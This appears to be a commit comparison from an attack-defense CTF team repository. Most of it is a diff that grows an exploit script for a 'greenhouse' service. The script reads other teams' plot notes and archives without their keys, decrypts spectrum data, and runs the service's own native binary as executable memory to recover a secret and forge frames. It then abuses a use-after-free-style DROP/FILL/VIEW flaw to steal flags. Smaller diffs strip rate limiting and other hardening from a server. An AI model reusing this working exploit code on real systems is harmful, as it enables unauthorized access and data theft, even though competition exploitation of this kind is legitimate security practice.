Compare commits
7
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
734a3a233f | ||
|
|
69304f472e | ||
|
|
6b506c0d54 | ||
|
|
4f70df55dd | ||
|
|
fd2a9af45c | ||
|
|
7ffb62529c | ||
|
|
278051af1c |
No files matched your search
-55
@@ -1,55 +0,0 @@
|
||||
# GO CTF team archive and issued credentials
|
||||
*.age
|
||||
*.age.gz
|
||||
openconnect.conf
|
||||
vpn-ca.pem
|
||||
vulnbox.txt
|
||||
skipper-token.txt
|
||||
players.tsv
|
||||
vpn/
|
||||
team001/
|
||||
|
||||
# Environment files and private keys
|
||||
.env
|
||||
.env.*
|
||||
!.env.example
|
||||
!.env.sample
|
||||
*.key
|
||||
*.p12
|
||||
*.pfx
|
||||
id_rsa*
|
||||
id_ed25519*
|
||||
|
||||
# Runtime databases, volumes, dumps, logs and captures
|
||||
*.db
|
||||
*.db-*
|
||||
*.sqlite
|
||||
*.sqlite3
|
||||
*.dump
|
||||
*.log
|
||||
*.pcap
|
||||
*.pcapng
|
||||
volumes/
|
||||
logs/
|
||||
/starpost/postgres/
|
||||
|
||||
# Decrypted/downloaded archives
|
||||
*.zip
|
||||
*.7z
|
||||
*.rar
|
||||
*.tar
|
||||
*.tar.gz
|
||||
*.tgz
|
||||
|
||||
# Local tooling and caches
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
.venv/
|
||||
venv/
|
||||
.idea/
|
||||
.vscode/
|
||||
|
||||
# Local worktrees and build artifacts
|
||||
.worktrees/
|
||||
.ruff_cache/
|
||||
**/target/
|
||||
Binary file not shown.
+16
-79
@@ -21,10 +21,8 @@ PUBLIC_TOKEN = "visitor"
|
||||
CONSOLE_SOCKET = DATA / "console.sock"
|
||||
CONSOLE_SESSIONS = {}
|
||||
CONSOLE_LOCK = threading.Lock()
|
||||
CONSOLE_IDLE_SECONDS = 30
|
||||
CONSOLE_IDLE_SECONDS = 300
|
||||
CONSOLE_LIMIT = 64
|
||||
HTTP_WORKERS = 48
|
||||
HTTP_SOCKET_TIMEOUT = 5
|
||||
|
||||
|
||||
class ConsoleSession:
|
||||
@@ -80,29 +78,23 @@ def prune_consoles():
|
||||
|
||||
|
||||
def connection():
|
||||
db = sqlite3.connect(DB, timeout=3)
|
||||
db = sqlite3.connect(DB, timeout=10)
|
||||
db.row_factory = sqlite3.Row
|
||||
db.execute("PRAGMA journal_mode=WAL")
|
||||
db.execute("""CREATE TABLE IF NOT EXISTS plots (
|
||||
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
|
||||
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
|
||||
created INTEGER DEFAULT (unixepoch()))""")
|
||||
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
|
||||
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
|
||||
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
|
||||
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
|
||||
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
|
||||
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
|
||||
db.commit()
|
||||
return db
|
||||
|
||||
|
||||
def initialize_database():
|
||||
with connection() as db:
|
||||
db.execute("PRAGMA journal_mode=WAL")
|
||||
db.execute("PRAGMA synchronous=NORMAL")
|
||||
db.execute("""CREATE TABLE IF NOT EXISTS plots (
|
||||
id TEXT PRIMARY KEY, token TEXT NOT NULL, name TEXT NOT NULL,
|
||||
cultivar TEXT NOT NULL, note TEXT NOT NULL, archive TEXT NOT NULL,
|
||||
created INTEGER DEFAULT (unixepoch()))""")
|
||||
db.execute("""CREATE TABLE IF NOT EXISTS telemetry (
|
||||
id INTEGER PRIMARY KEY, plot TEXT NOT NULL, kind TEXT NOT NULL,
|
||||
value TEXT NOT NULL, created INTEGER DEFAULT (unixepoch()))""")
|
||||
db.execute("CREATE INDEX IF NOT EXISTS telemetry_plot_id_idx ON telemetry(plot,id DESC)")
|
||||
db.execute("INSERT OR IGNORE INTO plots(id,token,name,cultivar,note,archive) VALUES (?,?,?,?,?,?)",
|
||||
(PUBLIC_ID, PUBLIC_TOKEN, "Публичный купол", "Helianthus orbitalis",
|
||||
"Добро пожаловать на станцию ОРБИТА.КВАНТУМ", "Калибровка открытого контура"))
|
||||
db.commit()
|
||||
|
||||
|
||||
def row_public(row):
|
||||
return {"id": row["id"], "name": row["name"], "cultivar": row["cultivar"],
|
||||
"created": row["created"]}
|
||||
@@ -123,18 +115,6 @@ class Handler(BaseHTTPRequestHandler):
|
||||
def log_message(self, fmt, *args):
|
||||
print("%s %s" % (self.address_string(), fmt % args), flush=True)
|
||||
|
||||
def log_request(self, code="-", size="-"):
|
||||
try:
|
||||
if int(code) >= 500:
|
||||
super().log_request(code, size)
|
||||
except (TypeError, ValueError):
|
||||
super().log_request(code, size)
|
||||
|
||||
def log_error(self, fmt, *args):
|
||||
if fmt.startswith("Request timed out"):
|
||||
return
|
||||
super().log_error(fmt, *args)
|
||||
|
||||
def reply(self, code, payload):
|
||||
body = json.dumps(payload, ensure_ascii=False, separators=(",", ":")).encode()
|
||||
self.send_response(code)
|
||||
@@ -311,12 +291,6 @@ class Handler(BaseHTTPRequestHandler):
|
||||
if not db.execute("SELECT 1 FROM plots WHERE id=?", (id_,)).fetchone():
|
||||
return self.reply(404, {"error": "unknown plot"})
|
||||
db.execute("INSERT INTO telemetry(plot,kind,value) VALUES (?,?,?)", (id_, kind, value))
|
||||
db.execute(
|
||||
"""DELETE FROM telemetry WHERE plot=? AND id NOT IN (
|
||||
SELECT id FROM telemetry WHERE plot=? ORDER BY id DESC LIMIT 256
|
||||
)""",
|
||||
(id_, id_),
|
||||
)
|
||||
db.commit()
|
||||
return self.reply(201, {"ok": True})
|
||||
return self.reply(404, {"error": "unknown endpoint"})
|
||||
@@ -324,43 +298,6 @@ class Handler(BaseHTTPRequestHandler):
|
||||
return self.reply(400, {"error": str(exc)})
|
||||
|
||||
|
||||
class BoundedThreadingHTTPServer(ThreadingHTTPServer):
|
||||
daemon_threads = True
|
||||
request_queue_size = 128
|
||||
|
||||
def __init__(self, server_address, handler):
|
||||
self.worker_slots = threading.BoundedSemaphore(HTTP_WORKERS)
|
||||
super().__init__(server_address, handler)
|
||||
|
||||
def get_request(self):
|
||||
request, address = super().get_request()
|
||||
request.settimeout(HTTP_SOCKET_TIMEOUT)
|
||||
return request, address
|
||||
|
||||
def process_request(self, request, client_address):
|
||||
if not self.worker_slots.acquire(blocking=False):
|
||||
try:
|
||||
request.sendall(
|
||||
b"HTTP/1.0 503 Service Unavailable\r\n"
|
||||
b"Connection: close\r\nContent-Length: 0\r\n\r\n"
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
self.shutdown_request(request)
|
||||
return
|
||||
try:
|
||||
super().process_request(request, client_address)
|
||||
except BaseException:
|
||||
self.worker_slots.release()
|
||||
raise
|
||||
|
||||
def process_request_thread(self, request, client_address):
|
||||
try:
|
||||
super().process_request_thread(request, client_address)
|
||||
finally:
|
||||
self.worker_slots.release()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
initialize_database()
|
||||
BoundedThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
|
||||
connection().close()
|
||||
ThreadingHTTPServer(("0.0.0.0", int(os.environ.get("PORT", "8080"))), Handler).serve_forever()
|
||||
@@ -11,11 +11,5 @@ services:
|
||||
- greenhouse_data:/data
|
||||
pids_limit: 256
|
||||
mem_limit: 512m
|
||||
cpus: 1.0
|
||||
healthcheck:
|
||||
test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8080/api/status', timeout=2)"]
|
||||
interval: 5s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
volumes:
|
||||
greenhouse_data:
|
||||
+373
-26
@@ -1,21 +1,58 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Задание Neo для greenhouse: вытягивает note и archive чужих участков без их ключа."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ctypes
|
||||
import hashlib
|
||||
import json
|
||||
import mmap
|
||||
import os
|
||||
import platform
|
||||
import re
|
||||
import stat
|
||||
import struct
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, urlsplit, urlunsplit
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8080
|
||||
REQUEST_TIMEOUT = 8
|
||||
USER_AGENT = "orbita-orangery/1.0"
|
||||
REQUEST_TIMEOUT = 1.25
|
||||
RUN_TIMEOUT = 8.5
|
||||
HTTP_BUDGET = 3.0
|
||||
PLOT_LIMIT = 12
|
||||
SPECIMEN_LIMIT = 12
|
||||
MAX_RESPONSE = 1 << 20
|
||||
USER_AGENT = "orbita-orangery/1.1"
|
||||
ANCHOR_ID = "public"
|
||||
ANCHOR_KEY = "visitor"
|
||||
BAD_KEY = "0" * 32
|
||||
CALIBRATION_VALUE = "greenhouse-calibration"
|
||||
CONSOLE_SHA256 = "e56276dbd4ee50b3e40a090d5b55bd272e9803a2f6d4e9576defdaea8e0f1b51"
|
||||
FRAME_SIZE = 0x90
|
||||
FIRST_OFFSET = 0x4C80
|
||||
FINAL_OFFSET = 0x4D00
|
||||
NAME_OFFSET = 0x4DA0
|
||||
FUNCTION_TABLE_OFFSET = 0x3E0B6A8
|
||||
FUNCTION_COUNT = 160
|
||||
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class Deadline:
|
||||
def __init__(self, seconds: float | None = None, end: float | None = None):
|
||||
self.end = end if end is not None else time.monotonic() + float(seconds)
|
||||
|
||||
def timeout(self) -> float:
|
||||
remaining = self.end - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("лимит времени исчерпан")
|
||||
return min(REQUEST_TIMEOUT, max(0.05, remaining))
|
||||
|
||||
def child(self, seconds: float) -> Deadline:
|
||||
return Deadline(end=min(self.end, time.monotonic() + seconds))
|
||||
|
||||
|
||||
def base(target: str) -> str:
|
||||
@@ -49,10 +86,23 @@ def base(target: str) -> str:
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def fetch(url: str) -> dict:
|
||||
request = Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"})
|
||||
with urlopen(request, timeout=REQUEST_TIMEOUT) as response:
|
||||
return json.loads(response.read(1 << 20).decode("utf-8", errors="replace"))
|
||||
def request_json(url: str, deadline: Deadline, payload: dict | None = None) -> dict:
|
||||
headers = {"User-Agent": USER_AGENT, "Accept": "application/json"}
|
||||
body = None
|
||||
method = "GET"
|
||||
if payload is not None:
|
||||
body = json.dumps(payload, separators=(",", ":")).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
method = "POST"
|
||||
request = Request(url, data=body, headers=headers, method=method)
|
||||
with urlopen(request, timeout=deadline.timeout()) as response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("ответ сервиса слишком большой")
|
||||
data = json.loads(raw.decode("utf-8", errors="replace"))
|
||||
if not isinstance(data, dict):
|
||||
raise ValueError("ожидался JSON-объект")
|
||||
return data
|
||||
|
||||
|
||||
def keystream(plot_id: str, size: int) -> list[int]:
|
||||
@@ -71,55 +121,352 @@ def recover_archive(plot_id: str, samples: list[int]) -> str:
|
||||
for value, offset in zip(samples, salt):
|
||||
if not isinstance(value, int) or not 0 <= value < 257:
|
||||
raise ValueError("неожиданный сэмпл спектра")
|
||||
raw.append((value - previous - offset) % 257)
|
||||
byte = (value - previous - offset) % 257
|
||||
if byte > 255:
|
||||
raise ValueError("некорректный байт спектра")
|
||||
raw.append(byte)
|
||||
previous = value
|
||||
return raw.decode("utf-8", errors="replace")
|
||||
|
||||
|
||||
def run_exploit(target: str) -> list[str]:
|
||||
root = base(target)
|
||||
def recover_http(root: str, deadline: Deadline) -> list[str]:
|
||||
loot: list[str] = []
|
||||
|
||||
listing = fetch(f"{root}/api/plots")
|
||||
plots = listing.get("plots", []) if isinstance(listing, dict) else []
|
||||
ids = [str(p.get("id")) for p in plots if isinstance(p, dict) and p.get("id") is not None]
|
||||
|
||||
for plot_id in ids:
|
||||
if plot_id == ANCHOR_ID:
|
||||
listing = request_json(f"{root}/api/plots", deadline)
|
||||
plots = listing.get("plots", [])
|
||||
if not isinstance(plots, list):
|
||||
raise ValueError("некорректный список участков")
|
||||
targets = []
|
||||
for item in plots:
|
||||
if not isinstance(item, dict) or not item.get("id"):
|
||||
continue
|
||||
|
||||
plot_id = str(item["id"])
|
||||
if plot_id != ANCHOR_ID:
|
||||
targets.append((plot_id, item))
|
||||
for plot_id, public in targets[:PLOT_LIMIT]:
|
||||
for field in ("name", "cultivar"):
|
||||
value = public.get(field)
|
||||
if isinstance(value, str) and value:
|
||||
loot.append(value)
|
||||
denied = 0
|
||||
target_param = quote(f"{ANCHOR_ID}#{plot_id}", safe="")
|
||||
try:
|
||||
data = fetch(f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}")
|
||||
note = data.get("projection", {}).get("biometric_note")
|
||||
data = request_json(
|
||||
f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}", deadline
|
||||
)
|
||||
projection = data.get("projection")
|
||||
note = projection.get("biometric_note") if isinstance(projection, dict) else None
|
||||
if isinstance(note, str) and note:
|
||||
loot.append(note)
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
except HTTPError as exc:
|
||||
denied += exc.code == 403
|
||||
if exc.code != 403:
|
||||
print(f"projection {plot_id}: HTTP {exc.code}", file=sys.stderr)
|
||||
except (URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"projection {plot_id}: {exc}", file=sys.stderr)
|
||||
|
||||
try:
|
||||
data = fetch(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}")
|
||||
data = request_json(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}", deadline)
|
||||
samples = data.get("samples")
|
||||
if isinstance(samples, list) and samples:
|
||||
loot.append(recover_archive(plot_id, samples))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
except HTTPError as exc:
|
||||
denied += exc.code == 403
|
||||
if exc.code != 403:
|
||||
print(f"spectrum {plot_id}: HTTP {exc.code}", file=sys.stderr)
|
||||
except (URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"spectrum {plot_id}: {exc}", file=sys.stderr)
|
||||
|
||||
try:
|
||||
data = request_json(f"{root}/api/telemetry?plot={quote(plot_id, safe='')}", deadline)
|
||||
telemetry = data.get("telemetry")
|
||||
if isinstance(telemetry, list):
|
||||
for row in telemetry:
|
||||
if not isinstance(row, dict):
|
||||
continue
|
||||
for field in ("kind", "value"):
|
||||
value = row.get(field)
|
||||
if isinstance(value, str) and value:
|
||||
loot.append(value)
|
||||
except HTTPError as exc:
|
||||
if exc.code != 403:
|
||||
print(f"telemetry {plot_id}: HTTP {exc.code}", file=sys.stderr)
|
||||
except (URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"telemetry {plot_id}: {exc}", file=sys.stderr)
|
||||
|
||||
if denied == 2:
|
||||
break
|
||||
return loot
|
||||
|
||||
|
||||
def binary_path() -> Path:
|
||||
here = Path(__file__).resolve().parent
|
||||
candidates = (
|
||||
here / "native" / "greenhouse-console",
|
||||
here / "greenhouse-console",
|
||||
here.parent / "greenhouse" / "native" / "greenhouse-console",
|
||||
)
|
||||
for candidate in candidates:
|
||||
if candidate.is_file():
|
||||
return candidate
|
||||
raise FileNotFoundError("рядом со сплоитом нет greenhouse-console")
|
||||
|
||||
|
||||
def file_sha256(path: Path) -> str:
|
||||
digest = hashlib.sha256()
|
||||
with path.open("rb") as stream:
|
||||
while chunk := stream.read(1 << 20):
|
||||
digest.update(chunk)
|
||||
return digest.hexdigest()
|
||||
|
||||
|
||||
class CanaryEngine:
|
||||
def __init__(self, path: Path):
|
||||
if platform.machine().lower() not in {"x86_64", "amd64"}:
|
||||
raise OSError("canary-движок требует x86-64")
|
||||
if struct.calcsize("P") != 8 or sys.byteorder != "little":
|
||||
raise OSError("canary-движок требует 64-битный little-endian Python")
|
||||
if file_sha256(path) != CONSOLE_SHA256:
|
||||
raise ValueError("неизвестная версия greenhouse-console")
|
||||
with path.open("rb") as stream:
|
||||
self.image = mmap.mmap(
|
||||
stream.fileno(),
|
||||
0,
|
||||
flags=mmap.MAP_PRIVATE,
|
||||
prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,
|
||||
)
|
||||
self.address = ctypes.addressof(ctypes.c_char.from_buffer(self.image))
|
||||
for index in range(FUNCTION_COUNT):
|
||||
offset = FUNCTION_TABLE_OFFSET + index * 8
|
||||
target = struct.unpack_from("<Q", self.image, offset)[0]
|
||||
struct.pack_into("<Q", self.image, offset, self.address + target)
|
||||
binary_function = ctypes.CFUNCTYPE(
|
||||
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64
|
||||
)
|
||||
ternary_function = ctypes.CFUNCTYPE(
|
||||
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64
|
||||
)
|
||||
name_function = ctypes.CFUNCTYPE(
|
||||
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_char_p
|
||||
)
|
||||
self.first = binary_function(self.address + FIRST_OFFSET)
|
||||
self.final = ternary_function(self.address + FINAL_OFFSET)
|
||||
self.name = name_function(self.address + NAME_OFFSET)
|
||||
|
||||
def close(self) -> None:
|
||||
del self.first
|
||||
del self.final
|
||||
del self.name
|
||||
self.image.close()
|
||||
|
||||
def recover_secret(self, specimen_id: int, frame: bytes) -> int:
|
||||
if len(frame) != FRAME_SIZE or frame[40] != 1:
|
||||
raise ValueError("калибровочный frame недействителен")
|
||||
stored_id, stored_first = struct.unpack_from("<QQ", frame, 8)
|
||||
if stored_id != specimen_id:
|
||||
raise ValueError("идентификатор frame не совпал")
|
||||
return stored_first ^ self.first(specimen_id, 0)
|
||||
|
||||
def forge(self, specimen_id: int, secret: int, magic: bytes) -> bytes:
|
||||
name = f"specimen-{specimen_id}".encode()
|
||||
if len(name) >= FRAME_SIZE - 41:
|
||||
raise ValueError("слишком длинное имя specimen")
|
||||
first = self.first(specimen_id, secret)
|
||||
name_check = self.name(specimen_id, first, name)
|
||||
final = self.final(specimen_id, name_check, secret)
|
||||
frame = bytearray(FRAME_SIZE)
|
||||
frame[:8] = magic
|
||||
struct.pack_into("<QQQ", frame, 8, specimen_id, first, name_check)
|
||||
struct.pack_into("<Q", frame, 32, final)
|
||||
frame[40] = 1
|
||||
frame[41:41 + len(name)] = name
|
||||
return bytes(frame)
|
||||
|
||||
|
||||
class Console:
|
||||
def __init__(self, root: str, deadline: Deadline):
|
||||
self.root = root
|
||||
self.deadline = deadline
|
||||
data = request_json(f"{root}/api/console/open", deadline, {})
|
||||
session = data.get("session")
|
||||
if not isinstance(session, str) or not re.fullmatch(r"[0-9a-f]{32}", session):
|
||||
raise ValueError("консоль не выдала сеанс")
|
||||
self.session = session
|
||||
|
||||
def command(self, command: str) -> str:
|
||||
data = request_json(
|
||||
f"{self.root}/api/console/command",
|
||||
self.deadline,
|
||||
{"session": self.session, "command": command},
|
||||
)
|
||||
reply = data.get("reply")
|
||||
if not isinstance(reply, str):
|
||||
raise ValueError("консоль не вернула строку")
|
||||
return reply
|
||||
|
||||
def close(self) -> None:
|
||||
try:
|
||||
request_json(
|
||||
f"{self.root}/api/console/close",
|
||||
Deadline(seconds=0.4),
|
||||
{"session": self.session},
|
||||
)
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
pass
|
||||
|
||||
|
||||
def cache_path(root: str) -> Path:
|
||||
directory = Path("/tmp/greenhouse")
|
||||
directory.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
os.chmod(directory, 0o700)
|
||||
name = hashlib.sha256(root.encode()).hexdigest()[:24] + ".json"
|
||||
return directory / name
|
||||
|
||||
|
||||
def load_calibration(root: str) -> tuple[int, str] | None:
|
||||
path = cache_path(root)
|
||||
try:
|
||||
info = path.lstat()
|
||||
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
|
||||
return None
|
||||
data = json.loads(path.read_text(encoding="utf-8"))
|
||||
specimen_id = data.get("id")
|
||||
key = data.get("key")
|
||||
if isinstance(specimen_id, int) and specimen_id > 0 and isinstance(key, str):
|
||||
if re.fullmatch(r"[0-9a-f]{32}", key):
|
||||
return specimen_id, key
|
||||
except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError):
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def save_calibration(root: str, specimen_id: int, key: str) -> None:
|
||||
path = cache_path(root)
|
||||
flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC
|
||||
if hasattr(os, "O_NOFOLLOW"):
|
||||
flags |= os.O_NOFOLLOW
|
||||
descriptor = os.open(path, flags, 0o600)
|
||||
try:
|
||||
os.fchmod(descriptor, 0o600)
|
||||
with os.fdopen(descriptor, "w", encoding="utf-8", closefd=False) as stream:
|
||||
json.dump({"id": specimen_id, "key": key}, stream, separators=(",", ":"))
|
||||
finally:
|
||||
os.close(descriptor)
|
||||
|
||||
|
||||
def parse_handle(reply: str) -> int | None:
|
||||
match = re.fullmatch(r"FRAME ([0-9]+)", reply)
|
||||
return int(match.group(1)) if match else None
|
||||
|
||||
|
||||
def dump_authorized(console: Console, specimen_id: int, key: str) -> tuple[int, bytes] | None:
|
||||
handle = parse_handle(console.command(f"OBSERVE {specimen_id} {key}"))
|
||||
if handle is None:
|
||||
return None
|
||||
reply = console.command(f"DUMP {handle}")
|
||||
match = re.fullmatch(r"FRAMEHEX ([0-9a-fA-F]{288})", reply)
|
||||
if match:
|
||||
return handle, bytes.fromhex(match.group(1))
|
||||
try:
|
||||
console.command(f"DROP {handle}")
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def get_calibration(
|
||||
console: Console, root: str, specimen_ids: list[int]
|
||||
) -> tuple[int, int, bytes]:
|
||||
cached = load_calibration(root)
|
||||
if cached is not None and cached[0] in specimen_ids:
|
||||
dumped = dump_authorized(console, *cached)
|
||||
if dumped is not None:
|
||||
return cached[0], dumped[0], dumped[1]
|
||||
reply = console.command(f"SOW {CALIBRATION_VALUE}")
|
||||
match = re.fullmatch(r"SOWN ([0-9]+) ([0-9a-f]{32})", reply)
|
||||
if not match:
|
||||
raise ValueError("SOW не вернул калибровочную запись")
|
||||
specimen_id = int(match.group(1))
|
||||
key = match.group(2)
|
||||
save_calibration(root, specimen_id, key)
|
||||
dumped = dump_authorized(console, specimen_id, key)
|
||||
if dumped is None:
|
||||
raise ValueError("не удалось получить калибровочный frame")
|
||||
return specimen_id, dumped[0], dumped[1]
|
||||
|
||||
|
||||
def recover_native(root: str, deadline: Deadline) -> list[str]:
|
||||
console = Console(root, deadline)
|
||||
try:
|
||||
listing = console.command("LIST")
|
||||
fields = listing.split()
|
||||
if not fields or fields[0] != "PLOTS":
|
||||
raise ValueError("LIST вернул неожиданный ответ")
|
||||
specimen_ids = sorted(
|
||||
{int(field) for field in fields[1:] if re.fullmatch(r"[0-9]+", field)},
|
||||
reverse=True,
|
||||
)
|
||||
if not specimen_ids:
|
||||
return []
|
||||
engine = CanaryEngine(binary_path())
|
||||
try:
|
||||
calibration_id, calibration_handle, calibration_frame = get_calibration(
|
||||
console, root, specimen_ids
|
||||
)
|
||||
secret = engine.recover_secret(calibration_id, calibration_frame)
|
||||
console.command(f"DROP {calibration_handle}")
|
||||
loot: list[str] = []
|
||||
victims = [item for item in specimen_ids if item != calibration_id][:SPECIMEN_LIMIT]
|
||||
for specimen_id in victims:
|
||||
frame = engine.forge(specimen_id, secret, calibration_frame[:8])
|
||||
handle = parse_handle(console.command(f"OBSERVE {specimen_id} {BAD_KEY}"))
|
||||
if handle is None:
|
||||
continue
|
||||
if console.command(f"DROP {handle}") != "DROPPED":
|
||||
continue
|
||||
if not console.command(f"FILL {frame.hex()}").startswith("POLLEN "):
|
||||
continue
|
||||
reply = console.command(f"VIEW {handle}")
|
||||
if reply == "ERR denied":
|
||||
break
|
||||
if reply.startswith("SPECIMEN "):
|
||||
value = reply[len("SPECIMEN "):]
|
||||
if value and value != CALIBRATION_VALUE:
|
||||
loot.append(value)
|
||||
return loot
|
||||
finally:
|
||||
engine.close()
|
||||
finally:
|
||||
console.close()
|
||||
|
||||
|
||||
def run_exploit(target: str) -> list[str]:
|
||||
root = base(target)
|
||||
deadline = Deadline(seconds=RUN_TIMEOUT)
|
||||
loot: list[str] = []
|
||||
try:
|
||||
loot.extend(recover_http(root, deadline.child(HTTP_BUDGET)))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"HTTP-канал: {exc}", file=sys.stderr)
|
||||
try:
|
||||
loot.extend(recover_native(root, deadline))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"console-канал: {exc}", file=sys.stderr)
|
||||
flags = (flag for item in loot for flag in FLAG_PATTERN.findall(item))
|
||||
return list(dict.fromkeys(flags))
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Использование: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
loot = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"Ошибка запроса к цели: {exc}", file=sys.stderr)
|
||||
except (ValueError, OSError) as exc:
|
||||
print(f"Ошибка цели: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
for item in loot:
|
||||
print(item, flush=True)
|
||||
print(f"собрано строк: {len(loot)}", file=sys.stderr)
|
||||
print(f"собрано флагов: {len(loot)}", file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
@@ -34,12 +34,3 @@
|
||||
- Старые запросы к projection и spectrum без нужного ключа получают `403`.
|
||||
- Команды `STATUS`, `SOW`, `READ`, `OBSERVE`, `DUMP`, `VIEW`, `DROP`, `FILL` работают. После `DROP` и повторного занятия блока через `FILL` команда `VIEW` отвечает `ERR denied`.
|
||||
- Полный checker организаторов недоступен. Обычная повторная сборка исходного Dockerfile один раз остановилась на TLS timeout Docker Hub, поэтому итоговый runtime проверен офлайн поверх ранее собранного baseline-образа.
|
||||
|
||||
## Устойчивость под нагрузкой
|
||||
|
||||
- HTTP-сервер ограничен 48 одновременными обработчиками и закрывает медленные соединения через 5 секунд. При исчерпании пула новый запрос получает 503 вместо создания неограниченного числа потоков.
|
||||
- Инициализация схемы SQLite и переключение WAL выполняются один раз при старте, а не на каждом API-запросе.
|
||||
- Для чтения telemetry добавлен индекс. На один участок сохраняются последние 256 записей; API и раньше возвращал только последние 40.
|
||||
- Брошенные сессии нативной консоли освобождаются через 30 секунд. Форматы запросов и ответов не изменены.
|
||||
- Успешные запросы и ожидаемые socket timeout не пишутся в Docker-лог, чтобы поток запросов не заполнял диск. Ответы 5xx остаются в логе.
|
||||
- Compose ограничивает сервис одним CPU и проверяет `/api/status` каждые 5 секунд. База и volume при обновлении не пересоздаются.
|
||||
@@ -18,7 +18,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates
|
||||
&& cp -a /tmp/wasmtime-v${WASMTIME_VERSION}-${WASMTIME_ARCH}-linux-c-api/lib/libwasmtime.so* /out/lib/
|
||||
|
||||
FROM debian:bookworm-slim
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends cmake make g++ clang llvm lld libsqlite3-dev nlohmann-json3-dev sqlite3 util-linux \
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends cmake make g++ clang llvm lld libcpp-httplib-dev libsqlite3-dev nlohmann-json3-dev sqlite3 util-linux \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
COPY --from=wasmtime /out/include/ /usr/local/include/
|
||||
COPY --from=wasmtime /out/lib/ /usr/local/lib/
|
||||
@@ -29,7 +29,7 @@ RUN /bin/sh ./server/build.sh
|
||||
COPY --from=web /web/dist ./public/
|
||||
RUN mkdir -p /data /var/log/lighthouse /srv/lighthouse/work \
|
||||
&& chmod 0700 /data \
|
||||
&& chmod 0700 /var/log/lighthouse \
|
||||
&& chmod 0755 /var/log/lighthouse \
|
||||
&& chmod 0711 /srv/lighthouse/work
|
||||
EXPOSE 8080
|
||||
CMD ["/srv/lighthouse/server/lighthouse"]
|
||||
@@ -1,16 +0,0 @@
|
||||
# Lighthouse: статус кандидата на 25.10.2026
|
||||
|
||||
Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox.
|
||||
|
||||
- L-02: отправка исходника фильтра снова доступна без `X-Queue-Key`, как в исходном API: официальный CHECK вызывает её без заголовка и отвечавший `403` приводил к `DOWN`. Остальные проверки ключа сохранены. Публичная отправка фильтра остаётся риском нагрузки и вытеснения истории ревизий.
|
||||
- L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи.
|
||||
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
|
||||
